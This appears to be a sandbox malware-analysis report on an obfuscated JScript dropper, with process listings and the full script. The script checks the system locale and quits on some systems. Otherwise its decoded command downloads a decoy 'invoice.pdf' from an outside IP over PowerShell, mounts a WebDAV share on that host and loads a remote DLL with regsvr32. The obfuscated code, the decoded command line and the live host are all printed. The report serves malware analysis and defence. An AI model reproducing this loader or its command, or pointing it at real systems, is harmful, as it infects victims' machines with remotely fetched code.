Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	11:40:38
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	11:40:38
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1632,i,10391696243187007764,14497805632998593147,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function oujgtta() {	oujgtta() ➔ undefined
1	ymyferbwi = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var luixdt = this[bcwczf + puamj + zrmol + zaisz + gapclfgwo + domrhvnqp + vdzuya + wtzfp] ( this[drrhsfqy + snplylli + ztzvtdy + zrmol + xnpjvq + bcwczf + wtzfp][sgfoxzshm + zrmol + gapclfgwo + puamj + wtzfp + gapclfgwo + exadf + nhclh + nmqgv + gapclfgwo + ztzvtdy + wtzfp] ( drrhsfqy + snplylli + ztzvtdy + zrmol + xnpjvq + bcwczf + wtzfp + ohavfzx + snplylli + vzhcv + gapclfgwo + bxkhur + bxkhur ) [sxwmjes + gapclfgwo + pwxxwz + sxwmjes + gapclfgwo + puamj + phhlpwn] ( txkrycp + dyjyx + sfimnunhq + svqyzdn + nrkqdrjv + sgfoxzshm + noledmqzr + sxwmjes + sxwmjes + sfimnunhq + bkcshlgyq + pfkwyn + nrkqdrjv + noledmqzr + snplylli + sfimnunhq + sxwmjes + hslesqye + sgfoxzshm + yhdtpj + vdzuya + wtzfp + zrmol + yhdtpj + bxkhur + blwiud + mvmuheew + puamj + vdzuya + gapclfgwo + bxkhur + hslesqye + domrhvnqp + vdzuya + wtzfp + gapclfgwo + zrmol + vdzuya + puamj + wtzfp + xnpjvq + yhdtpj + vdzuya + puamj + bxkhur + hslesqye + wzeexta + yhdtpj + ztzvtdy + puamj + bxkhur + gapclfgwo ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( ieeofn = 0 ; ieeofn < ymyferbwi[bxkhur + gapclfgwo + vdzuya + pwxxwz + wtzfp + vzhcv] ; ++ ieeofn )
4	{
5	if ( luixdt == ymyferbwi[ieeofn] )
6	{
7	luixdt = true;
8	break ;
9	}
10	}
11	if ( luixdt !== true )
12	this[drrhsfqy + snplylli + ztzvtdy + zrmol + xnpjvq + bcwczf + wtzfp][rqptfyvp + eenjb + xnpjvq + wtzfp] ( );
13	this[drrhsfqy + snplylli + ztzvtdy + zrmol + xnpjvq + bcwczf + wtzfp][sgfoxzshm + zrmol + gapclfgwo + puamj + wtzfp + gapclfgwo + exadf + nhclh + nmqgv + gapclfgwo + ztzvtdy + wtzfp] ( drrhsfqy + snplylli + ztzvtdy + zrmol + xnpjvq + bcwczf + wtzfp + ohavfzx + snplylli + vzhcv + gapclfgwo + bxkhur + bxkhur ) [zrmol + eenjb + vdzuya] ( ztzvtdy + gbqks + phhlpwn + blwiud + snrnew + ztzvtdy + blwiud + bcwczf + yhdtpj + btizhc + gapclfgwo + zrmol + zaisz + vzhcv + gapclfgwo + bxkhur + bxkhur + ohavfzx + gapclfgwo + tucaj + gapclfgwo + blwiud + wpcwhn + sgfoxzshm + yhdtpj + gbqks + gbqks + puamj + vdzuya + phhlpwn + blwiud + qzqngldkn + domrhvnqp + vdzuya + fgfwtntpf + yhdtpj + llmbewqu + gapclfgwo + wpcwhn + drrhsfqy + gapclfgwo + nhclh + sxwmjes + gapclfgwo + avxsdmwfj + eenjb + gapclfgwo + zaisz + wtzfp + blwiud + wpcwhn + exadf + eenjb + wtzfp + tuiyrpm + xnpjvq + bxkhur + gapclfgwo + blwiud + dfknrbaht + wtzfp + gapclfgwo + gbqks + bcwczf + dfknrbaht + hslesqye + xnpjvq + vdzuya + fgfwtntpf + yhdtpj + xnpjvq + ztzvtdy + gapclfgwo + ohavfzx + bcwczf + phhlpwn + prtgqizal + blwiud + vzhcv + wtzfp + wtzfp + bcwczf + csmvb + snrnew + snrnew + cicbg + bvlxtuxlu + qoogxzap + ohavfzx + cicbg + bwubjnira + qoogxzap + ohavfzx + cicbg + ohavfzx + pauibxwv + ebysniin + ybpob + snrnew + xnpjvq + vdzuya + fgfwtntpf + yhdtpj + xnpjvq + ztzvtdy + gapclfgwo + ohavfzx + bcwczf + vzhcv + bcwczf + qzqngldkn + nomjo + nomjo + zaisz + wtzfp + puamj + zrmol + wtzfp + blwiud + dfknrbaht + wtzfp + gapclfgwo + gbqks + bcwczf + dfknrbaht + hslesqye + xnpjvq + vdzuya + fgfwtntpf + yhdtpj + xnpjvq + ztzvtdy + gapclfgwo + ohavfzx + bcwczf + phhlpwn + prtgqizal + nomjo + nomjo + ztzvtdy + gbqks + phhlpwn + blwiud + snrnew + ztzvtdy + blwiud + vdzuya + gapclfgwo + wtzfp + blwiud + eenjb + zaisz + gapclfgwo + blwiud + hslesqye + hslesqye + cicbg + bvlxtuxlu + qoogxzap + ohavfzx + cicbg + bwubjnira + qoogxzap + ohavfzx + cicbg + ohavfzx + pauibxwv + ebysniin + ybpob + ataomq + smmvzxxd + smmvzxxd + smmvzxxd + smmvzxxd + hslesqye + phhlpwn + puamj + fgfwtntpf + btizhc + btizhc + btizhc + zrmol + yhdtpj + yhdtpj + wtzfp + hslesqye + nomjo + nomjo + ztzvtdy + gbqks + phhlpwn + blwiud + snrnew + ztzvtdy + blwiud + zrmol + gapclfgwo + pwxxwz + zaisz + fgfwtntpf + zrmol + qoogxzap + pauibxwv + blwiud + snrnew + zaisz + blwiud + hslesqye + hslesqye + cicbg + bvlxtuxlu + qoogxzap + ohavfzx + cicbg + bwubjnira + qoogxzap + ohavfzx + cicbg + ohavfzx + pauibxwv + ebysniin + ybpob + ataomq + smmvzxxd + smmvzxxd + smmvzxxd + smmvzxxd + hslesqye + phhlpwn + puamj + fgfwtntpf + btizhc + btizhc + btizhc + zrmol + yhdtpj + yhdtpj + wtzfp + hslesqye + qoogxzap + cicbg + smmvzxxd + bwubjnira + qoogxzap + qoogxzap + pauibxwv + sztpwzkjx + jukjf + ebysniin + bwubjnira + smmvzxxd + bwubjnira + bwubjnira + ohavfzx + phhlpwn + bxkhur + bxkhur, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\31843326704844.dll",0,false) ➔ 0
14	}
15	dyjyx = "O";
16	dyjyx = "L";
17	dyjyx = "M";
18	dyjyx = "d";
19	dyjyx = "Z";
20	dyjyx = "J";
21	dyjyx = "I";
22	dyjyx = "c";
23	dyjyx = "K";
24	tucaj = "c";
25	tucaj = "i";
26	tucaj = "T";
27	tucaj = "W";
28	tucaj = "l";
29	tucaj = "l";
30	tucaj = "T";
31	tucaj = "w";
32	tucaj = "y";
33	tucaj = "H";
34	tucaj = "s";
35	tucaj = "P";
36	tucaj = "n";
37	tucaj = "I";
38	tucaj = "A";
39	tucaj = "p";
40	tucaj = "J";
41	tucaj = "X";
42	tucaj = "N";
43	tucaj = "H";
44	tucaj = "x";
45	tucaj = "Z";
46	tucaj = "K";
47	tucaj = "t";
48	tucaj = "b";
49	tucaj = "R";
50	tucaj = "I";
51	tucaj = "q";
52	tucaj = "H";
53	tucaj = "G";
54	tucaj = "p";
55	tucaj = "M";
56	tucaj = "j";
57	tucaj = "m";
58	tucaj = "x";
59	ebysniin = "b";
60	ebysniin = "Q";
61	ebysniin = "E";
62	ebysniin = "c";
63	ebysniin = "N";
64	ebysniin = "L";
65	ebysniin = "X";
66	ebysniin = "E";
67	ebysniin = "x";
68	ebysniin = "q";
69	ebysniin = "Q";
70	ebysniin = "f";
71	ebysniin = "s";
72	ebysniin = "u";
73	ebysniin = "r";
74	ebysniin = "G";
75	ebysniin = "Q";
76	ebysniin = "S";
77	ebysniin = "G";
78	ebysniin = "A";
79	ebysniin = "w";
80	ebysniin = "Y";
81	ebysniin = "k";
82	ebysniin = "h";
83	ebysniin = "q";
84	ebysniin = "0";
85	ztzvtdy = "G";
86	ztzvtdy = "t";
87	ztzvtdy = "H";
88	ztzvtdy = "z";
89	ztzvtdy = "J";
90	ztzvtdy = "r";
91	ztzvtdy = "I";
92	ztzvtdy = "e";
93	ztzvtdy = "v";
94	ztzvtdy = "I";
95	ztzvtdy = "j";
96	ztzvtdy = "A";
97	ztzvtdy = "b";
98	ztzvtdy = "F";
99	ztzvtdy = "B";
100	ztzvtdy = "S";
101	ztzvtdy = "H";
102	ztzvtdy = "p";
103	ztzvtdy = "G";
104	ztzvtdy = "h";
105	ztzvtdy = "c";
106	tuiyrpm = "z";
107	tuiyrpm = "a";
108	tuiyrpm = "a";
109	tuiyrpm = "U";
110	tuiyrpm = "I";
111	tuiyrpm = "G";
112	tuiyrpm = "u";
113	tuiyrpm = "r";
114	tuiyrpm = "e";
115	tuiyrpm = "b";
116	tuiyrpm = "k";
117	tuiyrpm = "L";
118	tuiyrpm = "m";
119	tuiyrpm = "w";
120	tuiyrpm = "x";
121	tuiyrpm = "W";
122	tuiyrpm = "p";
123	tuiyrpm = "c";
124	tuiyrpm = "P";
125	tuiyrpm = "u";
126	tuiyrpm = "j";
127	tuiyrpm = "U";
128	tuiyrpm = "L";
129	tuiyrpm = "r";
130	tuiyrpm = "F";
131	drrhsfqy = "c";
132	drrhsfqy = "a";
133	drrhsfqy = "x";
134	drrhsfqy = "n";
135	drrhsfqy = "H";
136	drrhsfqy = "W";
137	drrhsfqy = "s";
138	drrhsfqy = "k";
139	drrhsfqy = "b";
140	drrhsfqy = "F";
141	drrhsfqy = "r";
142	drrhsfqy = "Z";
143	drrhsfqy = "Y";
144	drrhsfqy = "R";
145	drrhsfqy = "g";
146	drrhsfqy = "a";
147	drrhsfqy = "N";
148	drrhsfqy = "d";
149	drrhsfqy = "R";
150	drrhsfqy = "T";
151	drrhsfqy = "f";
152	drrhsfqy = "K";
153	drrhsfqy = "i";
154	drrhsfqy = "z";
155	drrhsfqy = "v";
156	drrhsfqy = "b";
157	drrhsfqy = "g";
158	drrhsfqy = "e";
159	drrhsfqy = "W";
160	drrhsfqy = "E";
161	drrhsfqy = "G";
162	drrhsfqy = "Z";
163	drrhsfqy = "H";
164	drrhsfqy = "V";
165	drrhsfqy = "S";
166	drrhsfqy = "E";
167	drrhsfqy = "v";
168	drrhsfqy = "W";
169	csmvb = "g";
170	csmvb = "s";
171	csmvb = "s";
172	csmvb = "U";
173	csmvb = "g";
174	csmvb = "U";
175	csmvb = "I";
176	csmvb = "S";
177	csmvb = "Y";
178	csmvb = ":";
179	nomjo = "W";
180	nomjo = "t";
181	nomjo = "E";
182	nomjo = "K";
183	nomjo = "i";
184	nomjo = "A";
185	nomjo = "U";
186	nomjo = "L";
187	nomjo = "B";
188	nomjo = "u";
189	nomjo = "D";
190	nomjo = "s";
191	nomjo = "E";
192	nomjo = "l";
193	nomjo = "y";
194	nomjo = "t";
195	nomjo = "q";
196	nomjo = "s";
197	nomjo = "T";
198	nomjo = "F";
199	nomjo = "W";
200	nomjo = "U";
201	nomjo = "F";
202	nomjo = "B";
203	nomjo = "F";
204	nomjo = "z";
205	nomjo = "I";
206	nomjo = "f";
207	nomjo = "x";
208	nomjo = "h";
209	nomjo = "o";
210	nomjo = "U";
211	nomjo = "B";
212	nomjo = "s";
213	nomjo = "c";
214	nomjo = "&";
215	exadf = "e";
216	exadf = "T";
217	exadf = "H";
218	exadf = "H";
219	exadf = "c";
220	exadf = "I";
221	exadf = "w";
222	exadf = "j";
223	exadf = "g";
224	exadf = "B";
225	exadf = "P";
226	exadf = "j";
227	exadf = "I";
228	exadf = "T";
229	exadf = "W";
230	exadf = "x";
231	exadf = "q";
232	exadf = "e";
233	exadf = "D";
234	exadf = "B";
235	exadf = "r";
236	exadf = "l";
237	exadf = "l";
238	exadf = "T";
239	exadf = "H";
240	exadf = "u";
241	exadf = "v";
242	exadf = "F";
243	exadf = "G";
244	exadf = "B";
245	exadf = "o";
246	exadf = "e";
247	exadf = "r";
248	exadf = "Y";
249	exadf = "z";
250	exadf = "Y";
251	exadf = "W";
252	exadf = "O";
253	exadf = "J";
254	exadf = "A";
255	exadf = "i";
256	exadf = "h";
257	exadf = "N";
258	exadf = "r";
259	exadf = "O";
260	ataomq = "Z";
261	ataomq = "N";
262	ataomq = "f";
263	ataomq = "X";
264	ataomq = "@";
265	prtgqizal = "C";
266	prtgqizal = "F";
267	prtgqizal = "p";
268	prtgqizal = "S";
269	prtgqizal = "L";
270	prtgqizal = "i";
271	prtgqizal = "K";
272	prtgqizal = "U";
273	prtgqizal = "E";
274	prtgqizal = "f";
275	prtgqizal = "n";
276	prtgqizal = "g";
277	prtgqizal = "T";
278	prtgqizal = "W";
279	prtgqizal = "O";
280	prtgqizal = "R";
281	prtgqizal = "E";
282	prtgqizal = "o";
283	prtgqizal = "i";
284	prtgqizal = "U";
285	prtgqizal = "N";
286	prtgqizal = "R";
287	prtgqizal = "H";
288	prtgqizal = "E";
289	prtgqizal = "n";
290	prtgqizal = "M";
291	prtgqizal = "p";
292	prtgqizal = "v";
293	prtgqizal = "F";
294	prtgqizal = "R";
295	prtgqizal = "N";
296	prtgqizal = "V";
297	prtgqizal = "l";
298	prtgqizal = "U";
299	prtgqizal = "N";
300	prtgqizal = "O";
301	prtgqizal = "P";
302	prtgqizal = "p";
303	prtgqizal = "f";
304	txkrycp = "J";
305	txkrycp = "T";
306	txkrycp = "o";
307	txkrycp = "g";
308	txkrycp = "e";
309	txkrycp = "W";
310	txkrycp = "z";
311	txkrycp = "r";
312	txkrycp = "q";
313	txkrycp = "z";
314	txkrycp = "T";
315	txkrycp = "x";
316	txkrycp = "h";
317	txkrycp = "f";
318	txkrycp = "B";
319	txkrycp = "P";
320	txkrycp = "L";
321	txkrycp = "v";
322	txkrycp = "K";
323	txkrycp = "q";
324	txkrycp = "N";
325	txkrycp = "E";
326	txkrycp = "z";
327	txkrycp = "y";
328	txkrycp = "n";
329	txkrycp = "M";
330	txkrycp = "V";
331	txkrycp = "Q";
332	txkrycp = "E";
333	txkrycp = "l";
334	txkrycp = "p";
335	txkrycp = "u";
336	txkrycp = "m";
337	txkrycp = "C";
338	txkrycp = "Y";
339	txkrycp = "R";
340	txkrycp = "r";
341	txkrycp = "H";
342	wtzfp = "J";
343	wtzfp = "A";
344	wtzfp = "l";
345	wtzfp = "a";
346	wtzfp = "m";
347	wtzfp = "k";
348	wtzfp = "j";
349	wtzfp = "F";
350	wtzfp = "J";
351	wtzfp = "g";
352	wtzfp = "w";
353	wtzfp = "h";
354	wtzfp = "k";
355	wtzfp = "L";
356	wtzfp = "t";
357	domrhvnqp = "K";
358	domrhvnqp = "H";
359	domrhvnqp = "A";
360	domrhvnqp = "x";
361	domrhvnqp = "A";
362	domrhvnqp = "B";
363	domrhvnqp = "B";
364	domrhvnqp = "G";
365	domrhvnqp = "H";
366	domrhvnqp = "L";
367	domrhvnqp = "J";
368	domrhvnqp = "i";
369	domrhvnqp = "h";
370	domrhvnqp = "K";
371	domrhvnqp = "g";
372	domrhvnqp = "E";
373	domrhvnqp = "I";
374	blwiud = "X";
375	blwiud = "Q";
376	blwiud = "O";
377	blwiud = "c";
378	blwiud = "W";
379	blwiud = "T";
380	blwiud = "t";
381	blwiud = "R";
382	blwiud = "n";
383	blwiud = "m";
384	blwiud = "e";
385	blwiud = "b";
386	blwiud = "E";
387	blwiud = "e";
388	blwiud = "k";
389	blwiud = "E";
390	blwiud = "C";
391	blwiud = "d";
392	blwiud = "h";
393	blwiud = "f";
394	blwiud = "i";
395	blwiud = "q";
396	blwiud = "O";
397	blwiud = "M";
398	blwiud = "z";
399	blwiud = "f";
400	blwiud = "s";
401	blwiud = "r";
402	blwiud = "C";
403	blwiud = "I";
404	blwiud = "z";
405	blwiud = "r";
406	blwiud = "B";
407	blwiud = "M";
408	blwiud = "D";
409	blwiud = "U";
410	blwiud = "C";
411	blwiud = "a";
412	blwiud = "S";
413	blwiud = "L";
414	blwiud = "w";
415	blwiud = "y";
416	blwiud = "n";
417	blwiud = "m";
418	blwiud = " ";
419	btizhc = "c";
420	btizhc = "C";
421	btizhc = "h";
422	btizhc = "m";
423	btizhc = "s";
424	btizhc = "p";
425	btizhc = "o";
426	btizhc = "o";
427	btizhc = "L";
428	btizhc = "D";
429	btizhc = "W";
430	btizhc = "G";
431	btizhc = "g";
432	btizhc = "A";
433	btizhc = "U";
434	btizhc = "K";
435	btizhc = "J";
436	btizhc = "I";
437	btizhc = "O";
438	btizhc = "K";
439	btizhc = "N";
440	btizhc = "G";
441	btizhc = "m";
442	btizhc = "V";
443	btizhc = "o";
444	btizhc = "H";
445	btizhc = "R";
446	btizhc = "s";
447	btizhc = "r";
448	btizhc = "R";
449	btizhc = "W";
450	btizhc = "R";
451	btizhc = "D";
452	btizhc = "L";
453	btizhc = "w";
454	ybpob = "j";
455	ybpob = "S";
456	ybpob = "o";
457	ybpob = "5";
458	svqyzdn = "n";
459	svqyzdn = "Y";
460	svqyzdn = "s";
461	svqyzdn = "R";
462	svqyzdn = "Q";
463	svqyzdn = "Y";
464	nrkqdrjv = "F";
465	nrkqdrjv = "U";
466	nrkqdrjv = "Q";
467	nrkqdrjv = "U";
468	nrkqdrjv = "A";
469	nrkqdrjv = "l";
470	nrkqdrjv = "P";
471	nrkqdrjv = "I";
472	nrkqdrjv = "J";
473	nrkqdrjv = "J";
474	nrkqdrjv = "f";
475	nrkqdrjv = "Y";
476	nrkqdrjv = "c";
477	nrkqdrjv = "S";
478	nrkqdrjv = "R";
479	nrkqdrjv = "i";
480	nrkqdrjv = "s";
481	nrkqdrjv = "E";
482	nrkqdrjv = "a";
483	nrkqdrjv = "Q";
484	nrkqdrjv = "_";
485	jukjf = "b";
486	jukjf = "E";
487	jukjf = "Y";
488	jukjf = "B";
489	jukjf = "p";
490	jukjf = "7";
491	sfimnunhq = "R";
492	sfimnunhq = "d";
493	sfimnunhq = "s";
494	sfimnunhq = "D";
495	sfimnunhq = "U";
496	sfimnunhq = "y";
497	sfimnunhq = "K";
498	sfimnunhq = "B";
499	sfimnunhq = "y";
500	sfimnunhq = "q";
501	sfimnunhq = "p";
502	sfimnunhq = "o";
503	sfimnunhq = "A";
504	sfimnunhq = "h";
505	sfimnunhq = "x";
506	sfimnunhq = "h";
507	sfimnunhq = "P";
508	sfimnunhq = "J";
509	sfimnunhq = "j";
510	sfimnunhq = "S";
511	sfimnunhq = "Z";
512	sfimnunhq = "N";
513	sfimnunhq = "E";
514	bvlxtuxlu = "X";
515	bvlxtuxlu = "C";
516	bvlxtuxlu = "l";
517	bvlxtuxlu = "K";
518	bvlxtuxlu = "e";
519	bvlxtuxlu = "F";
520	bvlxtuxlu = "J";
521	bvlxtuxlu = "W";
522	bvlxtuxlu = "9";
523	snplylli = "N";
524	snplylli = "X";
525	snplylli = "j";
526	snplylli = "e";
527	snplylli = "i";
528	snplylli = "o";
529	snplylli = "o";
530	snplylli = "S";
531	snplylli = "d";
532	snplylli = "G";
533	snplylli = "n";
534	snplylli = "y";
535	snplylli = "l";
536	snplylli = "e";
537	snplylli = "i";
538	snplylli = "E";
539	snplylli = "O";
540	snplylli = "x";
541	snplylli = "P";
542	snplylli = "t";
543	snplylli = "p";
544	snplylli = "I";
545	snplylli = "v";
546	snplylli = "g";
547	snplylli = "U";
548	snplylli = "c";
549	snplylli = "J";
550	snplylli = "Y";
551	snplylli = "P";
552	snplylli = "D";
553	snplylli = "o";
554	snplylli = "f";
555	snplylli = "y";
556	snplylli = "S";
557	pfkwyn = "n";
558	pfkwyn = "f";
559	pfkwyn = "Z";
560	pfkwyn = "G";
561	pfkwyn = "r";
562	pfkwyn = "I";
563	pfkwyn = "d";
564	pfkwyn = "U";
565	pfkwyn = "v";
566	pfkwyn = "D";
567	pfkwyn = "h";
568	pfkwyn = "o";
569	pfkwyn = "l";
570	pfkwyn = "a";
571	pfkwyn = "I";
572	pfkwyn = "h";
573	pfkwyn = "C";
574	pfkwyn = "e";
575	pfkwyn = "v";
576	pfkwyn = "N";
577	pfkwyn = "W";
578	pfkwyn = "Q";
579	pfkwyn = "V";
580	pfkwyn = "g";
581	pfkwyn = "q";
582	pfkwyn = "w";
583	pfkwyn = "E";
584	pfkwyn = "q";
585	pfkwyn = "Z";
586	pfkwyn = "q";
587	pfkwyn = "p";
588	pfkwyn = "P";
589	pfkwyn = "P";
590	pfkwyn = "D";
591	pfkwyn = "T";
592	llmbewqu = "N";
593	llmbewqu = "m";
594	llmbewqu = "L";
595	llmbewqu = "t";
596	llmbewqu = "q";
597	llmbewqu = "o";
598	llmbewqu = "B";
599	llmbewqu = "u";
600	llmbewqu = "m";
601	llmbewqu = "b";
602	llmbewqu = "P";
603	llmbewqu = "e";
604	llmbewqu = "t";
605	llmbewqu = "Z";
606	llmbewqu = "O";
607	llmbewqu = "Z";
608	llmbewqu = "P";
609	llmbewqu = "Q";
610	llmbewqu = "E";
611	llmbewqu = "Q";
612	llmbewqu = "Q";
613	llmbewqu = "z";
614	llmbewqu = "p";
615	llmbewqu = "l";
616	llmbewqu = "M";
617	llmbewqu = "R";
618	llmbewqu = "w";
619	llmbewqu = "T";
620	llmbewqu = "k";
621	pauibxwv = "Z";
622	pauibxwv = "d";
623	pauibxwv = "y";
624	pauibxwv = "2";
625	sxwmjes = "h";
626	sxwmjes = "q";
627	sxwmjes = "R";
628	sxwmjes = "f";
629	sxwmjes = "R";
630	sxwmjes = "K";
631	sxwmjes = "R";
632	sxwmjes = "D";
633	sxwmjes = "q";
634	sxwmjes = "K";
635	sxwmjes = "W";
636	sxwmjes = "r";
637	sxwmjes = "Y";
638	sxwmjes = "y";
639	sxwmjes = "d";
640	sxwmjes = "X";
641	sxwmjes = "I";
642	sxwmjes = "U";
643	sxwmjes = "s";
644	sxwmjes = "K";
645	sxwmjes = "J";
646	sxwmjes = "Z";
647	sxwmjes = "R";
648	nhclh = "Z";
649	nhclh = "S";
650	nhclh = "h";
651	nhclh = "p";
652	nhclh = "t";
653	nhclh = "A";
654	nhclh = "T";
655	nhclh = "t";
656	nhclh = "q";
657	nhclh = "j";
658	nhclh = "S";
659	nhclh = "t";
660	nhclh = "R";
661	nhclh = "S";
662	nhclh = "a";
663	nhclh = "T";
664	nhclh = "A";
665	nhclh = "j";
666	nhclh = "R";
667	nhclh = "w";
668	nhclh = "o";
669	nhclh = "t";
670	nhclh = "L";
671	nhclh = "Y";
672	nhclh = "i";
673	nhclh = "s";
674	nhclh = "H";
675	nhclh = "x";
676	nhclh = "T";
677	nhclh = "k";
678	nhclh = "h";
679	nhclh = "E";
680	nhclh = "b";
681	rqptfyvp = "z";
682	rqptfyvp = "u";
683	rqptfyvp = "d";
684	rqptfyvp = "x";
685	rqptfyvp = "D";
686	rqptfyvp = "B";
687	rqptfyvp = "c";
688	rqptfyvp = "d";
689	rqptfyvp = "A";
690	rqptfyvp = "h";
691	rqptfyvp = "L";
692	rqptfyvp = "b";
693	rqptfyvp = "r";
694	rqptfyvp = "P";
695	rqptfyvp = "Z";
696	rqptfyvp = "u";
697	rqptfyvp = "d";
698	rqptfyvp = "r";
699	rqptfyvp = "a";
700	rqptfyvp = "O";
701	rqptfyvp = "P";
702	rqptfyvp = "B";
703	rqptfyvp = "d";
704	rqptfyvp = "Q";
705	rqptfyvp = "q";
706	rqptfyvp = "G";
707	rqptfyvp = "i";
708	rqptfyvp = "k";
709	rqptfyvp = "l";
710	rqptfyvp = "u";
711	rqptfyvp = "u";
712	rqptfyvp = "B";
713	rqptfyvp = "m";
714	rqptfyvp = "H";
715	rqptfyvp = "Q";
716	phhlpwn = "q";
717	phhlpwn = "d";
718	pwxxwz = "X";
719	pwxxwz = "F";
720	pwxxwz = "X";
721	pwxxwz = "X";
722	pwxxwz = "T";
723	pwxxwz = "E";
724	pwxxwz = "B";
725	pwxxwz = "r";
726	pwxxwz = "g";
727	pwxxwz = "E";
728	pwxxwz = "E";
729	pwxxwz = "U";
730	pwxxwz = "V";
731	pwxxwz = "I";
732	pwxxwz = "u";
733	pwxxwz = "m";
734	pwxxwz = "k";
735	pwxxwz = "o";
736	pwxxwz = "C";
737	pwxxwz = "P";
738	pwxxwz = "y";
739	pwxxwz = "A";
740	pwxxwz = "Z";
741	pwxxwz = "b";
742	pwxxwz = "r";
743	pwxxwz = "P";
744	pwxxwz = "X";
745	pwxxwz = "C";
746	pwxxwz = "W";
747	pwxxwz = "c";
748	pwxxwz = "b";
749	pwxxwz = "p";
750	pwxxwz = "g";
751	bkcshlgyq = "N";
752	dfknrbaht = "B";
753	dfknrbaht = "G";
754	dfknrbaht = "%";
755	smmvzxxd = "l";
756	smmvzxxd = "Q";
757	smmvzxxd = "I";
758	smmvzxxd = "B";
759	smmvzxxd = "T";
760	smmvzxxd = "T";
761	smmvzxxd = "Z";
762	smmvzxxd = "u";
763	smmvzxxd = "J";
764	smmvzxxd = "U";
765	smmvzxxd = "x";
766	smmvzxxd = "V";
767	smmvzxxd = "d";
768	smmvzxxd = "n";
769	smmvzxxd = "o";
770	smmvzxxd = "X";
771	smmvzxxd = "V";
772	smmvzxxd = "C";
773	smmvzxxd = "y";
774	smmvzxxd = "P";
775	smmvzxxd = "s";
776	smmvzxxd = "M";
777	smmvzxxd = "z";
778	smmvzxxd = "d";
779	smmvzxxd = "r";
780	smmvzxxd = "h";
781	smmvzxxd = "W";
782	smmvzxxd = "o";
783	smmvzxxd = "d";
784	smmvzxxd = "C";
785	smmvzxxd = "Z";
786	smmvzxxd = "U";
787	smmvzxxd = "A";
788	smmvzxxd = "a";
789	smmvzxxd = "z";
790	smmvzxxd = "V";
791	smmvzxxd = "k";
792	smmvzxxd = "O";
793	smmvzxxd = "8";
794	zaisz = "g";
795	zaisz = "V";
796	zaisz = "P";
797	zaisz = "X";
798	zaisz = "j";
799	zaisz = "Z";
800	zaisz = "A";
801	zaisz = "m";
802	zaisz = "R";
803	zaisz = "i";
804	zaisz = "z";
805	zaisz = "k";
806	zaisz = "k";
807	zaisz = "r";
808	zaisz = "m";
809	zaisz = "y";
810	zaisz = "P";
811	zaisz = "i";
812	zaisz = "b";
813	zaisz = "s";
814	bwubjnira = "y";
815	bwubjnira = "s";
816	bwubjnira = "f";
817	bwubjnira = "F";
818	bwubjnira = "E";
819	bwubjnira = "w";
820	bwubjnira = "n";
821	bwubjnira = "M";
822	bwubjnira = "B";
823	bwubjnira = "c";
824	bwubjnira = "h";
825	bwubjnira = "a";
826	bwubjnira = "a";
827	bwubjnira = "X";
828	bwubjnira = "q";
829	bwubjnira = "t";
830	bwubjnira = "4";
831	wpcwhn = "M";
832	wpcwhn = "R";
833	wpcwhn = "Q";
834	wpcwhn = "M";
835	wpcwhn = "K";
836	wpcwhn = "p";
837	wpcwhn = "e";
838	wpcwhn = "m";
839	wpcwhn = "E";
840	wpcwhn = "X";
841	wpcwhn = "k";
842	wpcwhn = "H";
843	wpcwhn = "V";
844	wpcwhn = "k";
845	wpcwhn = "K";
846	wpcwhn = "C";
847	wpcwhn = "k";
848	wpcwhn = "M";
849	wpcwhn = "C";
850	wpcwhn = "h";
851	wpcwhn = "R";
852	wpcwhn = "L";
853	wpcwhn = "e";
854	wpcwhn = "-";
855	qzqngldkn = "R";
856	qzqngldkn = "P";
857	qzqngldkn = "h";
858	qzqngldkn = "G";
859	qzqngldkn = "F";
860	qzqngldkn = "h";
861	qzqngldkn = "h";
862	qzqngldkn = "Y";
863	qzqngldkn = "J";
864	qzqngldkn = "D";
865	qzqngldkn = "A";
866	qzqngldkn = "S";
867	qzqngldkn = "C";
868	qzqngldkn = "I";
869	qzqngldkn = "f";
870	qzqngldkn = "q";
871	qzqngldkn = "P";
872	qzqngldkn = "f";
873	qzqngldkn = "L";
874	qzqngldkn = "A";
875	qzqngldkn = "I";
876	qzqngldkn = "d";
877	qzqngldkn = "T";
878	qzqngldkn = "O";
879	qzqngldkn = "A";
880	qzqngldkn = "V";
881	qzqngldkn = "O";
882	qzqngldkn = "b";
883	qzqngldkn = "I";
884	qzqngldkn = "\"";
